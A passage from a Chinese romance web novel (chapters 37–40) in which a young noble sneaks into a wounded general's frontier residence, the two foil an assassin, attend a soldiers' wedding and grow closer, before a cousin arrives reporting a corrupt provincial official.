叶川遥心里一咯噔。 他告诉自己,这些只是沈翾的计谋,并不是真的。 可心里却还是忍不住害怕担忧。 若沈翾给父亲的信只是为了安抚他。 若沈翾真的受了重伤…… 小二并未察觉他的反应,还在继续道:“这些个天杀的,大将军这么好的人他们也敢行刺!简直不得好死……” “若将军真出了什么事,咱们这陵川城怕是又要遭殃喽!唉……” 叶川遥精神恍惚,小二接下来的话他根本没再听进去。 凌舟见状冲小二道:“多谢小哥,你去忙吧。” “好嘞,那二位客官慢用!” 见叶川遥脸色苍白,眼尾泛红,凌舟轻声宽慰道:“少爷先别太担心,大将军既同你说是轻伤,想必定是无碍的!” 叶川遥用力闭上眼,敛了敛心神。 须臾后长舒一口气:“我没事。走吧。” 眼看翻墙肯定行不通,二人只好改道去了将军府偏门。 有值守的官兵将人拦住:“你们两个是做什么的,怎么没见过?” 叶川遥淡定地从怀里掏出令牌,冷声道:“我有要事要向将军禀报。” 守卫看向令牌,半信半疑道:“将军的令牌只有一个,从未给过旁人,你这是从何处得来的?” 叶川遥:“……” 大哥,你自己都说了只有一个,那还能是哪儿来的? 自然是你家将军亲手送的呗! 知道守卫不过是秉公办差,叶川遥自然不会为难他们。 遂主动将令牌递过去:“给,究竟是真是假,你们自己好好看看就知道了!” 守卫接过令牌,拿在手里仔细辨别:“的确是将军的令牌。” 几人立马躬身让路:“小人职责所在,多有冒犯,还请大人恕罪!” “两位大人里面请!” “无妨,几位将士辛苦了。” 叶川遥莞尔笑笑,大摇大摆地踏进将军府。 暗自感叹沈翾没骗他,这令牌果然好用。 此处比沈翾京城的府邸小了些许,院中布置也更显简洁。 夜色浓郁,微风下青灯摇晃,残影无痕。 院中有侍卫巡视,两名婢女端着什么从一间屋子里出来,脚步匆匆去往别处。 房门口两名侍卫笔直地杵在那,双眼炯炯有神。 看来那边应该便是沈翾的住处。 叶川遥带着凌舟躲在巨石后,偷偷盯着门口。 要怎么才能将那二人引开呢? 凌舟压低声音问:“少爷,咱们这是干嘛呢?” “都进来了,你想见将军,直接过去不就行了?为何还要躲起来?” 万一被当成刺客,那他好不容易留住的脑袋可就不保了! 叶川遥转了转眼珠,轻声道:“屋里不知道是什么情况,这院子里也难保没有其他耳目。” “先看看,免得打草惊蛇。” “哦,好。”凌舟点点头。 反正少爷做什么自然有他的道理,他只管照做就是! 两人在石头后面蹲了半天,腿都蹲麻了,也未见屋子里有人进出。 叶川遥抬头望了望愈发阴沉的天色,抿唇思忖片刻,冲凌舟道:“快下雨了。凌舟,你去引开那两个人。” 凌舟迷茫:“怎么引?” 叶川遥朝不远处指了指:“往那边跑。” “若被抓住,你就说有要事要见明将军,让他们去找明烛过来。” “那若是他们直接将我杀了呢?” “那就只能听天由命了呗。” 凌舟:“……” 叶川遥笑着将人推出去: “好了,快去吧!” “哎哎哎……” 还未站稳,便被守卫发现。 “什么人在那?” 凌舟只能硬着头皮拔腿就跑,守卫立即紧追上去。 见房门口终于无人看守,叶川遥看一眼四周,确认安全后迅速跑过去,蹑手蹑脚地开门进去。 屋里只点了几盏灯,忽明忽暗。 空气中有淡淡的草药香。 叶川遥屏住呼吸,看来沈翾果然受了伤。 他站在门口环视一圈,却未见沈翾人影。 床上铺着被子,离得远,光照又暗,看不太真切。 他顿了顿,抬脚朝着床边一步一步轻轻迈去。 榻上没人…… 难不成这不是沈翾的房间? 他第一次做贼,结果还搞错了目标? 有点丢人啊…… 算了,还是先撤吧! 转身刚要跑,忽觉头顶一阵冷风袭来。 还没来得及反应,叶川遥整个人就被按倒在床上。 面前的人眸色幽深,黑白分明的眼底布满寒光,嘴角弧度凛冽而狠厉。 是叶川遥从未见过的模样。 他一时被吓傻,僵硬地躺在床上,眼睛直勾勾地盯着上方的人。 直到沈翾看清来人,猛地松开手。 “阿遥?” 紧压的脖颈终于得以喘息,叶川遥躺在榻上咳了几声,才抓着沈翾的手臂坐起来。 可怜兮兮道:“将军,你是要勒死我吗?” 沈翾看着他,脸色并未因他的卖惨而缓和多少,嗓音低冷道:“为何跑来这里?简直胡闹!” “不亲眼看见你平安我不放心。” 叶川遥站起身打量沈翾:“所以将军究竟有没有受伤,伤得重不重?” 沈翾沉声道:“无妨,一点小伤,已经没有大碍了。” “给我看看!”叶川遥急色道。 沈翾顿了顿,神色复杂地将衣领往肩头拉了拉。 叶川遥当即红了眼。 第38章 沈翾侧身而坐, 紧实的胸肌上绑着白布,有血渗出,瞧着十分骇人。 叶川遥蹙眉看过去, 心里一揪,红着眼问:“这伤严重吗?都渗血了,要不要找郎中再过来瞧一下?” “已经上过药, 不打紧。”沈翾轻声道。 正要将衣领合上,叶川遥倏地伸出手, 指尖轻触在胸前。 被白布覆盖着的伤口两侧疤痕错落, 深浅不一。 一看便是陈年旧伤。 叶川遥的心底不禁泛上一阵酸楚。 这些伤,他那时得有多疼…… 光滑的指腹在凸起的疤痕上缓缓划过, 触手生温。 叶川遥的动作极轻, 带着几分小心翼翼和无比的珍视, 好似生怕弄疼了对方。 若可以, 他多想抚平这些伤。 沈翾垂眸看着面前的人,看他泛红的眼角和眼中的潋滟清波。 胸前酥麻流过, 化为心底隐隐颤栗,呼吸渐沉。 沈翾极轻地闭了闭眼, 抬手按住叶川遥还在移动的指尖, 从胸前缓缓挪开, 再将衣领拉了拉。 叶川遥如梦初醒,慢慢将手缩回。 低下头, 歉疚道:“是我不好,不该偷闯进来, 给你添麻烦。” 沈翾很少见他这副自责的模样,心底一软,柔声道: “不是因为你。” “不过……” “几日不见, 世子本事倒是涨了不少,如此轻易便进了我将军府。” 叶川遥摸了摸鼻子,不好意思地笑笑:“还不是多亏了将军的令牌!” 沈翾笑笑,起身走到桌前,倒了两杯茶,坐下问:“你是如何到这里的?” 叶川遥如实相告,只是隐去了被追杀那段。 他不想让沈翾在这个时候还要替他操心。 沈翾听完若有所思地看着他,慢声道:“既收到了信,为何还来?” 叶川遥挨着他坐下,伸手接过茶盏,两人指尖一触即分。 “听说你受了伤,不亲眼看见,我放心不下。” 他说完抬眼看向沈翾,软着声音喃喃道:“反正我来都来了,你不能赶我走……” 沈翾无奈轻笑一声:“世子……” 话刚出口,倏地戛然而止。 沈翾抬头目光凌厉地望向头顶。 叶川遥随着抬头望去,他猜测沈翾大概是发现了什么,遂屏住呼吸,用嘴型无声问:“怎么了?” 沈翾递给他一个眼神,示意他安心。 顿了顿,突然提了提嗓音道:“累了一天,早些歇息吧。” 说着便直接将人揽进怀中,起身往床边走去。 叶川遥被沈翾圈着,迷迷糊糊地带到榻上,僵硬地坐在床边。 这这这这……会不会太快了? 他还没有将心意告诉沈翾沈翾身上还有伤呢所以他一会儿到底该做些什么?! 沈翾抬手将几盏灯灭了,慢步回到榻前,低声道:“你睡里面,有点挤,将就一下。” “啊?哦。” 叶川遥脱了鞋,听话地爬上了软榻。 挺尸般躺在床上,眼睛迷茫而急促地眨着。 沈翾随后也躺上去,两人没再开口,肩膀相依,各怀心事地瞪着棚顶。 从未这么近距离地感受到沈翾的存在,叶川遥浑身僵硬,心里却一片温软。 夜色将一切感官都无限放大。 叶川遥侧过身,面对着沈翾。 虽看不清面容,却能听到极轻的呼吸声,能闻到发间淡淡的清香。 他想靠得更近些,又怕碰到沈翾的伤口,一时手都不知该往哪里放。 须臾后,叶川遥终于忍不住,轻声问:“将军,我们现在是要做什么?” 难道就这样板板正正地躺到天亮? 睡觉的话,起码该把衣服脱了吧…… 不对,他在想什么不正经的事,将军身上还有伤呢! 叶川遥在心里将自己狠狠地斥责了一番,甚是鄙夷自己的色欲熏心。 可他不知道的是,其实沈翾也没比他好到哪里去。 自方才他的呼吸落在耳边,淡漠超然的大将军便早已动了凡心。 傲然如他,也躲不过七情六欲。 沈翾一条腿弓起,于黑暗中凝了凝心神。 望向门口,微微侧过头,嗓音极轻道:“嘘,房顶有人。” 叶川遥倏地紧张起来,紧抿双唇不再言语。 二人等了片刻,却依然毫无动静。 叶川遥趴在沈翾耳边,声若蚊蝇道:“怎么还没来,是走了吗?” 等得他都困了。 沈翾这才想起他赶了一天的路,定是困乏得紧,遂柔声道:“先睡吧,有我在。” 叶川遥打了个哈欠,实在坚持不住。 想了想,伸手捏住沈翾的袖子,低声道:“那我能…这样牵着睡吗?” “我害怕。” 沈翾无声轻笑,温柔应下:“好。” 叶川遥咧嘴笑笑,心满意足地闭上眼。 约摸一盏茶过后,院子里突然传出侍卫的喊声:“有刺客!” 叶川遥被惊醒,迷迷糊糊探头向外望去:“出什么事了?” “别动。”沈翾伸手将人揽回。 宽大的手掌压在腹前,叶川遥呼吸一梗,乖乖躺回去,一动不再动。 这些贼人怕不是来刺杀沈翾,而是专门来折磨他的吧…… 外面响起一阵喧闹,有刀剑的碰撞声传来。 紧接着房门处便传来响动。 一名黑衣人脚步极轻地进了门,手里握着短剑朝床边走来。 叶川遥:“……” 今天难道是什么黑衣节吗? 怎么这么多黑衣人?! 那贼人摸黑走到榻前,抬手将剑狠狠朝榻上之人刺去,却刺了个空,手中短剑被一脚踢飞。 沈翾从床上利落起身,与那贼人于屋内缠斗。 叶川遥惦记着沈翾身上的伤,正打算上前帮忙,却被沈翾呵止:“别过来!” 叶川遥只好停下脚步,迅速将灯点亮。 有了光,沈翾很快将那贼人制服。 明烛带着人从屋外跑进来,见叶川遥在此微微一愣。 “世子,你怎么在这儿?” 叶川遥咧嘴笑笑:“说来话长,以后再同你说。” “好。” 明烛将黑衣人嘴里塞满布,着人提走。 而后看向沈翾问:“将军你没事吧?” 方才还笔直如松柏的人忽地肩膀一塌,手掌捂在胸口道:“没事,只是伤口又裂开了。” 明烛:“?” 将军啥时候这么脆弱了? 这么点小伤就撑不住了? 叶川遥立马紧张起来,忙上前将人扶住,急道:“快找大夫来啊!” “哦,好。”明烛还没震惊中缓过来,冲侍卫吩咐道,“去请军医过来。” 叶川遥扶着沈翾坐到床边,漂亮的眉眼紧蹙着。 心疼地问:“疼吗?” 沈翾点点头,费力道:“无妨,我受得住。” “……” 明烛实在没眼看,赶紧带着人出去,还不忘体贴地将门带上。 叶川遥心里着急,却不知自己能做些什么。 见沈翾眉头紧蹙,似疼得厉害,于是他轻声问:“是不是很疼啊?” “要不……” “我给你吹吹?” 沈翾:“……” “不必,倒也没那么疼。” 不多时大夫终于到了。 “伤口崩开了,不过好在伤得不深,就是有血所以看着有些瘆人,换了药好好休养几天便无大碍。” “不过还是要小心些,不可再扯到伤处。另外这几日的饮食也要清淡些,多休息。” 叶川遥一一记下:“多谢军医。” 军医不着痕迹地打量他几眼,笑着道:“公子客气了。” “走吧军医,我送您回去。”明烛道。 “有劳明将军。” 军医出了房门,又回头看了眼,凑到明烛身旁小声问:“明将军,这位难道就是……” 明烛笑笑:“夜深了,军医快回去歇着吧!” 军医心下了然,点点头感叹道:“公子如玉,倒真是名不虚传!” 二更已过,整座府邸终于安静下来。 沈翾的伤口换了药,叶川遥也放心下来。 见时辰已晚,于是道:“我去客房睡,将军早些休息。” 沈翾想了想,将人留住:“今晚就睡在这儿吧。” 叶川遥愣住:“?” 沈翾解释道:“刺客还没有清理干净,留在这里安全些。” 叶川遥犹豫片刻,喃喃道:“可我睡觉不老实,若是碰到伤口怎么办?” “无妨,”沈翾道,“没那么金贵,就算碰到了也不打紧。” “……” 叶川遥在心底挣扎了一会儿,又欢喜又紧张地轻声道:“好,那我小心些……” 沈翾嗯了声,两人熄灯上.床。 黑暗包裹着全身,叶川遥一双眼睛瞪得透亮,毫无睡意。 许久后,试探着唤了声:“将军,你睡了吗?” 身旁传来声音:“睡不着?” “嗯,”叶川遥想了想,轻声道,“有点怕……” “我能像方才那样,拉着你袖子睡吗?” 沈翾并未回答。 就在叶川遥以为没戏时,手上忽然传来温热的触感。 沈翾大掌覆过去,将他的手整个攥进掌心,耳边随即传来温柔的嗓音。 “这样,还怕吗?” “不……不怕了。”叶川遥精神恍惚道。 但好像,更睡不着了…… 沈翾收了收掌心的力道,拇指在叶川遥光滑的手背上轻擦而过。 嗓音低沉道:“睡吧。” 叶川遥的脸上一片滚烫,手心浸出薄汗,温度自指尖缓缓流入心脏,化作愉悦的跳动。 见沈翾呼吸渐沉,叶川遥偷偷弯了弯嘴角,小声道了声晚安,终于心满意足地闭上眼。 一夜无梦。 第39章 旭日晨曦, 软榻温香。 叶川遥醒来时屋内只他一人。 他醒了醒神,才想起自己如今已身在陵川城。 哦对,还在沈翾的床上。 昨夜一幕幕重上心头。 他缓缓抬起手, 那白皙如玉的皮肤上仿佛还残存着沈翾掌心的温度。 炙热,安定,还有…… 同他一般无二的紧张。 嘴角不自觉地向上扬起, 叶川遥重新钻进被子里,心底被喜悦占满。 不是做梦, 沈翾真真切切牵他的手了! 牵了手, 那可是要负责的! 既牵了手,今夜是不是, 可以再做点别的了? 被子上似乎还残留着沈翾的味道。 叶川遥越想越觉得脸热, 从前从话本上看到的那些画面不自觉地浮现在脑海里。 沈翾的胸肌那么紧实, 腹肌……想来也是一样的吧。 那旁的地方是不是也…… 后背一阵酥麻爬过, 叶川遥小腹一紧,灼热冲上脖颈, 一路向上。 他在想什么呢?快打住!! 白日宣淫非君子所为,得克制! 他从被子里探出个圆滚滚的脑袋, 用力呼出一口气。 刚打算起身出门, 就听外面有人推门进来。 沈翾绕过屏风瞧见他, 嗓音温润地问:“醒了?” “嗯,”叶川遥轻轻应了声, 坐起身,拢了拢有些凌乱的长发, 问,“你身上的伤怎么样了?” “无碍。”沈翾淡淡道。 他说完略一沉眸,看向榻上之人, 语气严肃:“昨日路上被行刺,为何不同我说?” 叶川遥心中诧异他是如何得知的消息,嘴上倒是乖乖解释道: “昨日事情太多,你又受了伤,不想让你担心,所以才没告诉你。” 他老老实实回答完,又反问道:“将军是如何知晓此事的?” 沈翾的脸色并未好转多少,淡声回答:“飞鸽传书。” “哦,将军的消息果然灵通!” 叶川遥并未追问是谁传的消息,只道:“多亏那两位侠士出手相救,也算有惊无险。” “等回了京城,一定要好好答谢他们一番才是。” 沈翾看着他,面色阴沉道:“京城距离陵川路途遥远,就算你要来,也该找人护送才是。” “若不是得人相救,这会儿我怕是只能替世子收尸了。” “你若真出了事,你让我……你让国公爷如何承受?” 他一口气说完,一向淡定刻板的眼底罕见地露出几分慌乱。 胸口微不可查地起伏着。 昨日若不是南桑恰巧出城,他实在不敢想会发生什么事。 叶川遥愣了愣。 这是沈翾第一次同他发脾气。 其实也算不上发脾气,只是声音比平日高了些,语气急了些。 可叶川遥丝毫不觉得害怕,反而觉得有几分新奇。 就好像那个如神一般的男人突然多了几分鲜活,变得触手可及,也让他更想靠近。 知道他是担心自己,叶川遥扯了扯嘴角,嬉皮笑脸道: “我这不是好好的嘛,本世子可是吉人自有天相,那些贼人伤不了我的!” “不过将军,你这信鸽……怎的飞得还没有我骑马快呢!” 沈翾:“……” 满心的燥郁霎时泄了气。 沈翾轻叹一声,幽声道了句:“嗯,世子厉害。” 叶川遥嘿嘿地笑笑,凑过去轻轻拽了拽沈翾的袖子,语气柔软:“好了,别生气了,这身上还有伤呢,气坏了可怎么好?” “这样,我保证,下次出门,我一定拿着令牌去你府上调它十几二十个精兵强将,一路护送我,行吗?” 沈翾睨他一眼,不冷不热地嗯了声。 躲过一劫,叶川遥终于松了口气。 “对了,昨日那几个刺客可审出眉目了?” 沈翾嗯了声:“两个招了,明烛已经带着人连夜端了他们的据点。” “究竟是什么人?” 沈翾坐下,沉声道:“西夷。” “西夷?”叶川遥面露惊诧,“那你的伤,也是这些人所为?” “嗯,”沈翾道,“我让人将我在陵川的消息放了出去,前几日便在城中一个胡同里遭遇了伏击。” 叶川遥单手锤向桌子,眼底闪过一抹厉色,忿恨道:“青天白日的,他们就敢如此猖狂!是活腻了吗?” 见小少爷如此气愤,沈翾甚觉有趣。 慢条斯理道:“我已有近一年未到陵川,他们心急也在所难免。” 叶川遥扬了扬眉,哼道:“不自量力,也不看看自己有几斤几两,敢打大将军的主意。” 豪言壮语刚落,又有些费解道:“不过西夷为何要这么做,两次三番行刺盛国一品大将军,这不是自寻死路吗?” “就不怕皇帝一怒之下,把他们西夷彻底灭了?” 他的疑惑不无道理。 西夷地处陵川西北,与北渊国和盛国皆为接壤。因地广人稀,国力微弱,从不敢与大盛和北渊有任何摩擦。 而正因为地处荒凉,其余两国也不屑侵占这片贫瘠之地,因此倒也相安无事多年。 没想到如今他们狼子野心,竟打起陵川的主意。 沈翾顿了顿,慢条斯理道:“西夷荒凉,地势险峻,贸然攻打必会耗费大量兵力,且战线持久,恐得不偿失。” “所以他们料定,就算我出事,陛下也不会轻易出兵。” “但对于西夷来说,若我死了,他们举全国兵力奋力一搏,也不是毫无胜算。” “只要拿下陵川城,西夷的国力便能上一个台阶。” 叶川遥闻言心中一紧,顿时又多出三分担忧。 “那可将那些人都清理干净了,会不会还有旁的势力?” 沈翾轻笑道:“无需担心,不会有事的。” 先前是为了引蛇出洞,他才故意露出破绽,往后他必不会再给那些人任何可乘之机。 叶川遥将这几日发生的事串起来想了想,恍然大悟地眨眨眼,道:“那昨夜,你房门口的侍卫是故意离开的?好让贼人有机可乘?” 沈翾笑笑,并未否认。 叶川遥点点头,慢悠悠道:“我说呢,我昨夜还纳闷,怎么你这大将军的卧房如此轻易便能进来,敢情是瓮中捉鳖呢。” 只不过捉的不光是鳖,还有他这个自投罗网的小虾米。 沈翾笑道:“嗯,我也没想到,有人好好的大门不走,非要做贼。怎么样,好玩儿吗?” 叶川遥撇撇嘴,趾高气昂道:“还行吧。” 占了点儿便宜,也算贼不走空了。 “对了,”说起这个他才猛然想起自己忘了件事,“凌舟呢,你的人没把他怎么样吧?” 沈翾道:“放心,在客房好生歇着呢。” 叶川遥长舒一口气:“哦,那就好。那我等一下去看看他的伤。” 用过早饭,叶川遥去了凌舟房里。 伤口换了药,已经好了大半,想来再静养几日便无碍。 不过比起身上的伤,凌舟更关心自家少爷。 “诶少爷,我听说,你昨夜是睡在将军房里的?” 叶川遥极轻地嗯了声。 “在一张床上睡的?” 叶川遥目光锐利地看向他:“你想说什么啊?” 凌舟意有所指地笑笑:“你和将军昨晚……你们两个该不会已经……” 叶川遥看着他满眼期待又好奇的眼神,张了张嘴,轻咳一声:“瞎想什么呢,你家少爷是那种趁人之危的人吗?” “人家将军身上可还带着伤呢!” “哦,也对,”凌舟点点头,“这事想来也是将军说了算,就算昨个将军身上没伤,少爷你估计也不敢怎么样。” 叶川遥:“……” 他,他怎么就不敢了! “好你个凌舟,你怎么净长他人志气,灭你家少爷威风呢!” 哼,等着吧,等沈翾身上的伤好了,他,他一定下手! 凌舟嘿嘿笑笑:“我就随口一说,少爷你别放在心上。” 刺客的事得以解决,将军府上下都松了一口气。 叶川遥初到陵川,对哪儿都新奇,但又怕给沈翾惹麻烦,不敢擅自出府。 过了两日,沈翾的伤好了些,吴参军和李都尉两家的婚事也到了日子,叶川遥这才跟着沈翾出门。 叶川遥不是第一次见人成亲,却依然兴致勃勃,觉得有趣新奇得很。 “将军,这边成亲,可与京中是一样的风俗?” 两人骑马慢步走在迎亲队伍中,沈翾眉眼温和道:“差不多,只是这边更随性些,没那么多规矩礼数。” “新娘子和新郎官成亲前可以随意见面,成亲的细节也可以自行商量。” 叶川遥听着稀奇,不禁生出些向往:“这倒是不错,婚礼可以按照自己想要的样子来安排,想想就觉得美好。” 沈翾侧眸看向身旁之人,嗓音清透:“能与一人相知相守,怎么样都是好的。” 叶川遥回望过去,眼中水波流转。 轻轻一笑:“将军说的是。” 李府门口堵满了人,见迎亲队伍到了,吵嚷声顿起。 “来来来拦住拦住,咱们李家的小姐,岂能让他们老吴家这么容易就给娶走!” 新郎官吴公子翻身下马,满脸灿笑冲堵门的众人鞠了一躬,央求道:“各位兄弟通融通融,这耽误了吉时可就不好了!改日吴某请诸位喝酒!” “酒自然是要喝的!不过今日想见新娘子,你也得拿出真本事才行,兄弟们说是不是?” “是,必须拿出真本事!”笑闹起哄声不断。 吴公子点点头,“行,兄弟们说得对,那我可就不客气了!” 说着铆足了劲向前一蹿,朝着人堆便冲了过去:“弟兄们快跟我杀进去!” 众人笑着将吴家人拦住:“你们这群兵痞子,成个亲怎么也这么流氓!” 防线没能冲开,吴公子一边挤一边急道:“快让我进去,我要见我娘子!” “我告诉你们,大将军可在呢,你们再拦我,我可让将军过来了啊!” 这话可比什么都好用,堵门的人立刻抻着脖子朝队伍后面望过去,果然见沈翾端坐于马上。 “你小子,真是诡计多端,居然请了大将军来陪你接亲!” 吴公子拽了拽被扯乱的喜服,得意道:“这叫兵不厌诈。” “去去去,还不快让开,吉时都快让你们给误了!” 大家这才笑着将路让开:“行行行,瞧把你急的!” 叶川遥看热闹看得十分高兴,一双清眸漫出无尽笑意,开怀道:“原来接亲这么有意思!” “等以后我成亲的时候,也要这样热热闹闹的!” 沈翾嘴角挂着浅笑,于喧嚣中望向那个笑眼弯弯之人。 心头流淌过悸动的暖意,好似遍野的山花倏地盛开,带着迷人的芳香和绚丽的光彩。 只消一眼,目光所及便再无其他。 两位新人拜过天地,新娘子没有先回洞房,而是和新郎一起在院子里招待宾客。 今日来的大都是军中之人,也就少了些虚礼,大家也不客气,酒饮得十分尽兴。 院中一片喜气洋洋,甚是热闹。 叶川遥瞧着高兴,新人敬酒他又不好推脱,便也跟着多饮了几杯,白皙的脸颊红扑扑的,看上去比平时还要更好看几分。 在场的人没几个认识他,见他和大将军坐在一起,一个个简直好奇得要死。 还好有知情的为大家解惑:“那位就是传言中咱们大将军的心上人,卫国公世子!” “那些传言竟是真的?我还以为不过是些市井流言,无稽之谈罢了!” “自然是真的,京中早已传遍了。况且,你们见过将军对旁人如此吗?” “那自然没有!” “的确没有!” 叶川遥还在往杯中倒酒,被沈翾拦住:“不是说,在外面不会喝醉吗?” 叶川遥不以为意地笑笑:“醉就醉呗,反正有将军在,又不会睡倒在大街上。” 沈翾松开手,意味不明地笑着道:“自然不会让你睡大街。不过……” “若喝醉后做出什么后悔的事,可莫要怪我。” “嗯?”叶川遥不明所以,“我能做什么啊?” 沈翾笑着端起酒杯,嘴上道:“没什么。” 叶川遥蹙眉不解地看着他, 什么嘛,哪有人说话说一半的,故意钓他呢? 从婚宴上回去,叶川遥迷迷糊糊地跟着沈翾进了府。 沈翾将人带到偏院,送进房中。 “好好歇息,明日带你出去逛逛。” “哦,好。”叶川遥点头应下,又看向陌生的屋子,眨眨眼问,“这是哪儿啊?” “偏院。”沈翾道。 叶川遥愣了愣,小声问:“今晚,不一起睡了吗?” 语气里是难掩的失落。 沈翾呼吸一沉,犹豫一瞬后低声道:“你喝多了,好好休息,我走了。” 叶川遥:“……” 就这么走啦? 他站在原地望着消失的背影,忍不住撇嘴。 跑那么快干嘛,他又不会吃了他。 困意袭来,叶川遥甩了甩脑袋,懒得再想,直接上.床闭眼躺下。 须臾后,又猛地双眼一睁。 完了,没脸见人了…… 第40章 死去的记忆猝不及防地出现在脑海里, 一幕幕拼凑成完整的模样。 叶川遥蹭地从榻上弹起,双手捂住热气腾腾的脸颊,一路从脖子红到了耳根。 他上次居然, 亲了沈翾! 还……还扒人家衣服! 真是没眼看啊…… 怪不得沈翾方才跑得如此之快,该不会是……怕他又欲行不轨吧?! 啊啊啊啊真是丢死人了! 不过都已过了这么久,沈翾竟连一个字也未曾同他提过, 也是真够能忍的。 话说回来,那时沈翾并未动怒, 也没有因此而疏离他, 反倒对他越来越亲近。 想来,也并不讨厌的吧? 叶川遥双眼一亮, 突然发现了新的契机。 既如此, 何不旧技重施? 他重新躺回去, 心底暗暗盘算着…… 翌日, 沈翾依言带叶川遥出门,两人在陵川街头闲逛了一天。 街边小摊有许多叶川遥未曾见过的稀罕物, 沈翾一路讲解,回府时还买了许多带回去。 叶川遥很喜欢这里, 颇有些意犹未尽。 “这里的百姓热情好客, 民风淳朴, 可比京城有意思多了!” “不如我们干脆留在这里,不回京城了, 将军觉得可好?” 看着他跳跃的眉眼,沈翾淡笑道:“边境艰苦, 百姓不过苟活于世,哪比得上京城繁华富庶?” 叶川遥嘴角上扬,云淡风轻道:“我不怕苦, 将军能在这里这么多年,我也可以。 ” “况且我相信,只要有将军在,定会护这里的百姓百年安宁!” 沈翾淡然一笑。 他不过一介臣子,如何能护他们百年安宁? 沉默一瞬,沈翾漫不经心道:“世子初来乍到难免新鲜,再待两个月,怕是就要归心似箭了。” 叶川遥弯了弯唇角,不置可否:“也许吧。” 以后的事,谁又知道呢? 月明星稀,轻风送凉。 城墙之上,叶川遥和沈翾相依而坐,遥望万家灯火映出点点明光。 叶川遥托着腮,远远望着街上熙熙攘攘的人群,嗓音愉悦道: “从前,我也喜欢晚上出去乱逛,总觉得星月华灯之下,做什么都更有趣些。” “可以自由自在,无拘无束。” 他看向沈翾:“对寻常百姓来说,这样安宁的日子,便是他们最想要的吧?” 沈翾眉色淡淡地眺望着远方,看不出情绪,只轻声道:“百姓疾苦隐于浮华之下,一时的安宁已弥足珍贵。” 叶川遥若有所思地点点头,看着他问:“若日后时局安稳,将军想要过什么样的生活?” 沈翾遥望长街灯火,眼底陷入一片幽深之中。 这是他从未想过的问题。 微风拂过发梢,许久的沉默后,沈翾缓缓道:“若天下丰乐,便长歌慢行于这天地间吧。” 他的声音很轻,仿若独自呢喃,转眼便消散于风中。 不知是不是错觉,叶川遥仿佛在沈翾幽深的眼底窥见了一缕向往之色。 虽转瞬即逝,却绮丽如虹光。 他微微一怔,随即笑着道:“那到时我陪将军一起。” “咱们可以去漓州,听说那里的水都绿如翡翠!” “还可以去宴州吃海味,去宁江赏百花!” 沈翾的脑海里不由自主地浮现出叶川遥口中的画面。 光是想想,便觉得极美。 从前,他从不做期许,不曾为过往后悔,也不轻易许诺未来。 可这一刻,却也不禁生出一丝憧憬,想那如风一般的自在逍遥。 他不是圣人,也并非无坚不摧,也会累,会怕,会痛苦,会不甘。 可他不能将这些显露出来,日子久了,连他自己都快忘了,原来他也有渴望的东西。 沈翾压下心中百转千思,低头轻笑一下,柔声道:“好,那一切便听从世子安排。” “嗯!”叶川遥开心地笑起来,眼中柔光熠熠生辉。 “说好了啊,可不许反悔!” * 宜州,蜀郡。 西街上,一名少年正骑马快奔而来,身姿俊逸如风,引得路人纷纷回望。 行了一段后,终于在一家客栈前停下。 少年利落地纵身下马,发尾潇洒地摆了摆,冲屋里高声道:“小二,把马拴好,再给小爷上几个可口的小菜!” “好嘞,您里边请!” 少年拂衣而坐,将茶盏倒满后一饮而尽,一路的奔波劳累终于散了几分。 小二很快端了酒菜上来:“客官慢用!” 这头刚答对好,门外又走进来另一位身着华服的少年,一边朝里面走,一边喊道:“小二,给本少爷来壶好酒!” 小二立马笑脸相迎:“好嘞,公子里面请!” 可方一回头,当即愣住,赶紧赔笑道:“实在对不住了公子,这桌子全满了。” “要不您跟这位公子挤一挤,将就一下?” “也行。”后进门的少年爽朗一笑,潇洒落座。 陆清玖手里捏着酒杯,漫不经心地抬头,冷着脸道:“小爷同意了吗,你就往这儿坐?” 少年莞尔笑笑,不客气地给自己倒了酒,清声道:“哎,相识即是缘分,公子何必如此小气?” “在下季如风,不知公子怎么称呼?” 陆清玖嗤笑一声,既用化名至少用点心吧。 他打量对面一眼,扯起嘴角道:“姑娘,你不会以为,穿了一身男子的衣服便是女扮男装了吧?” 季如风瞪大了眼,吃惊道:“你,你是怎么看出来的?” 陆清玖继续喝自己的酒,哼笑道:“回去好好照照镜子吧,此地无银三百两,还是别白费功夫了。” 季如风眉眼弯弯,也不气恼,嗓音清脆道:“你这人还挺有意思的。” “你叫什么名字,是蜀郡人吗?” 陆清玖没回答,将杯中酒一饮而尽后起身道:“这壶酒送你了,姑娘自己慢慢喝吧,走了。” “这就走了?” 季如风冲着门口的背影喊道:“喂,你还没说你叫什么名字呢?” 陆清玖举起手在空中晃了晃,翻身上马,转眼间消失于闹市中。 傍晚时分,陆清玖终于到了陵川城,直奔将军府书房而去。 敲门问:“表哥你在吗?” 沈翾正同叶川遥在书房下棋,突如其来的敲门声让紧绷的战局一溃而散。 叶川遥循声朝门外望去。 这声音…… “进来。”沈翾道。 陆清玖推门而入:“表哥,可算见着你了,这一路上可累死我了……” 话音刚落,一眼看见沈翾对面坐着的人,陆清玖倏地一愣,眨眨眼吃惊道:“你怎么也在这儿?” 叶川遥微微一笑,甚是和蔼道:“我为何就不能在这儿呢?” 陆清玖撇撇嘴:“真是阴魂不散,蹭吃蹭喝都蹭到陵川来了!” 叶川遥:“……” 又没吃你家的米,管得着吗? “玖儿,”沈翾沉声道,“你急着来此,可是有什么事?” “哦,父亲让我把这个交给你。”陆清玖走上前,将手中的信递给沈翾。 沈翾垂眸扫过信上所言,出声问:“宜州刺史?” “不错。” 陆清玖刚张了张嘴,突然皱着眉看向叶川遥,欲言又止。 叶川遥看看两人,猜想陆清玖定是有要事同沈翾说,于是起身道:“我先出去……” “无妨,”话音未落,沈翾沉声将人拦住,“玖儿你直说便是。” 叶川遥犹豫一下,又重新坐回去。 陆清玖抬头看向对面。 这两人一人坐一头,怎么显得他像是个来汇报的小跟班似的? 而且这两个人什么时候这么亲近了? 简直岂有此理! 他顿了顿,一脸阴沉又若有所思地打量叶川遥一眼,这才开口道: “这个宜州刺史上任已有六年,自上任后便贪赃受贿,搜刮了不少民脂民膏。” “上个月还逼死个民家女子,简直就是恶贯满盈。” “此前有几位官员看不惯他的所作所为,联名上奏弹劾,可最终却不了了之,还落得个死于非命的下场。” “时间久了,也就没人再敢冒头了。” 沈翾眉头微蹙,缓缓将信放下,沉声问:“姨父是如何知晓此事的?” 陆清玖道:“蜀郡的郡守多年前曾与父亲有过来往,便秘密联络了父亲。” “郡守不想与那奸贼狼狈为奸,可又实在无可奈何,这才想要借着父亲的关系,请表哥帮忙。” 叶川遥听完心下了然。 奏折还未等上达天听就被截下,摆明了这个宜州刺史在朝中有人,且身居要职。 